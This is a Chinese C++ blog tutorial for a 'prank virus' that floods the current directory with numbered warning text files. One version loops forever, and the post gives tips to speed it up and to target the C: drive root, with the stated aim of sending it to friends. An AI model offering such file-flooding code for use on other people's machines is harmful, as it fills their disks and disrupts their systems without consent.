IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> C++整蛊小程序(生成.txt文件)需要fstream头文件 字符串拼接 -> 正文阅读

[C++知识库]C++整蛊小程序(生成.txt文件)需要fstream头文件 字符串拼接

#include<iostream>
#include<fstream>
#include<string>
#include<windows.h>
using namespace std;

ofstream shuchu;  
int n1 = 123456;
char st1[16] = {0};
char* str1 = "warning";
char in2[] = ".txt";
char out[20];
int size=100;

void name(int n1)
{
	itoa(n1,st1,10);
	strcpy(out, str1);
	strcat(out, st1);
	strcat(out, in2);
	cout<<"正在生成文件:" << out <<"请勿关闭窗口!"<< endl;
}

int main (){
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
	cout<<"您想在当前目录下生成多少文件?"<<endl;
	cin>>size;
	for(int i=0;i<=size;i++){
	name(i);
	shuchu.open(out);
	for(int j=0;j<=256;j++)
	{
		shuchu<<"warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!"<<endl;
	}
	shuchu.close();
	}
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 4) ;
	cout<<"所有文件生成完毕!!!"<<endl;
	cout<<"所有文件写入完毕!!!"<<endl;
	cout<<"所有文件校验完毕!!!"<<endl;
    return 0;
}

以上是下手很轻版:

闲来无聊,做了个可以整蛊朋友的小游戏,先上效果图:

?其效果是可以在当前路径生成大量文件。

?代码的核心是:

void out (){		//生成文件;
	ofstream out;
	out.open("某个名字.txt");
		while(1){
			key=getchar();
			sout<<key<<endl;
		}
	out.close();
}

它的效果是生成一个txt文件,并且写入你键入的值。

接下来只需要稍加改动,使它变成一个循环。

唯一的难点是怎样生成不同的文件名,这里使用字符串拼接函数strcat()和整型转字符串型函数itoa()实现。

以下代码实现三个字符串的拼接

void name(int n1)
{
	itoa(n1,st1,10);
	strcpy(out, str1);
	strcat(out, st1);
	strcat(out, in2);
	cout<<"正在生成文件:" << out <<"请勿关闭窗口!"<< endl;
}

可以看见,文件名由三部分组成,固定的开头"warning"和固定的后缀".txt',以及不断增长的文件的编号。

再通过一个循环往生成的文件中写入想写的话。(这层循环的大小与文件的生成速度呈负相关)。

	for(int j=0;j<=256;j++)
	{
		shuchu<<"warning!"<<endl;
	}

一个简易“病毒”就诞生啦。把它发给朋友,朋友开心的送上祝福。

以下是死循环版,别在桌面点开

#include<iostream>
#include<fstream>
#include<string>
#include<windows.h>
using namespace std;

ofstream shuchu;  
int n1 = 0;
char st1[16] = {0};
char* str1 = "warning";
char in2[] = ".txt";
char out[20];
int size=100;

void name(int n1)
{
	itoa(n1,st1,10);
	strcpy(out, str1);
	strcat(out, st1);
	strcat(out, in2);
	cout<<"正在生成文件:" << out <<"请勿关闭窗口!"<< endl;
}

int main (){

	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
	while(1)
	{
	name(n1);
	shuchu.open(out,ofstream::app);
	for(int j=0;j<=256;j++)
	{
		shuchu<<"warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!	warning!"<<endl;
	}
	shuchu.close();
	n1++;
	}
    return 0;
}

嫌慢的朋友可以把控制台输出注掉,并且把文本输入循环改小,(慎重),因为它的速度大部分受控制台打印字符的时间和文件写入时间限制。

改小了之后几秒钟内就生成了上万个文件

稍微修改代码,还可以让它在指定目录下生成文件。(原来的是默认目录,即程序所在目录)

char* str1 = "C:\warning";

?现在是在C盘根目录下生成了。路径字符超过16的话应适当增加数组str1的大小。

  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2021-07-31 16:26:28  更:2021-07-31 16:27:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/27 17:22:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码